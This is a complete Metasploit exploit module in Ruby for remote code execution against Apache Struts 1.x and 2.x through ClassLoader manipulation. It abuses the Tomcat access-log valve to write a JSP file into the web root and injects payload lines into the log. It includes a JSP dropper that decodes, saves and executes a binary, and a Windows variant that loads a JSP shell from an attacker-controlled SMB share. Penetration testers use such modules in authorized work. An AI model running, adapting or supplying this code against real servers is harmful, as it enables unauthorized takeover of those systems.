require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description'=> %q{
This module exploits a remote command execution vulnerability in Apache Struts versions
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
allow remote attackers to execute arbitrary Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas',
'Przemyslaw Celej',
'Redsadic <julian.vilas[at]gmail.com>',
'Matthew Hall <hallm[at]sec-1.com>'
],
'License'=> MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['CVE', '2014-0114'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
],
'Platform' => %w{ linux win },
'Payload'=>
{
'Space' => 5000,
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets'=>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget'=> 1))
register_options(
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def dump_line(uri, cmd = '')
res = send_request_cgi({
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ''
},
'version' => '1.1',
'method'=> 'GET'
})
res
end
def modify_class_loader(opts)
cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '2.x' then "class['classLoader']"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method'=> 'GET',
'vars_get' => {
"#{cl_prefix}.resources.context.parent.pipeline.first.directory"=> opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
res
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
print_status("Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
vprint_status("Countdown #{10-x}...")
res = dump_line(uri)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
if res.code == 200 && res.body && res.body.to_s =~ /
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end
false
end
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end
jsp
end
def exploit
if target.name =~ /Remote SMB Resource/
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
end
else
class_loader_exploit
end
end
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method'=> 'GET',
'vars_get' => {
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method'=> 'GET',
})
end
def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
print_status("Modifying Class Loader...")
properties = {
:directory=> 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
unless check_log_file(normalize_uri(target_uri.to_s))
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
register_files_for_cleanup(@jsp_file)
print_status("Generating JSP...")
jsp = create_jsp
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
uri = normalize_uri('/', random_request)
jsp.each_line do |l|
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
check_log_file(random_request)
properties = {
:directory=> '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end
end